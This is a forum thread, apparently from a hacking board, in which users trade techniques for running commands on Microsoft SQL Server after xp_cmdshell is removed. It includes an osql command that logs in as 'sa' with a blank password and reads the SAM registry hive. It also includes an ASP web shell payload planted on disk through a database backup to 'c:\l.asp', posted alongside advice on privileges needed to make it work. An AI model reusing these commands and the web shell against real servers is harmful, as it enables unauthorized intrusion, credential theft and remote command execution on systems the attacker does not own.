Hi, is there a way to execute something per mssql if u drop xp_cmdshell and deny the use of sp_addextendedproc?

If so plz gimme some hints

tia

search the board there are already some "hints" and tuts for that

Do u mean that :

osql.exe -S 123.123.123.123 -U sa -P "" -Q "USE master EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'"

and in this key:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\MSSQLServer\SQLEW\Registered Server\SQL 6.5

the password of the SA user is stored in plain text


cause i dont get this to work maybe there are some different reg keys 4 different mssql versions ?

THX 4 any kind of ideas

backup a shell
or
WebTask a shell


have fun

backup a shell / webtask a shell is looking really interresting but i could only find chinese sites about that

Does anone have an english startpoint 4 that ?

so far i tried :

use model
create table cmd(str image);
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='c:\l.asp';

and then connect to ip\l.asp but i am not groupmember of the model table so i cant do it like that.

tia

try : use master
create...

to user master u need dbo rights :/ the model way may grant this rights to any user.

But i dont get it to work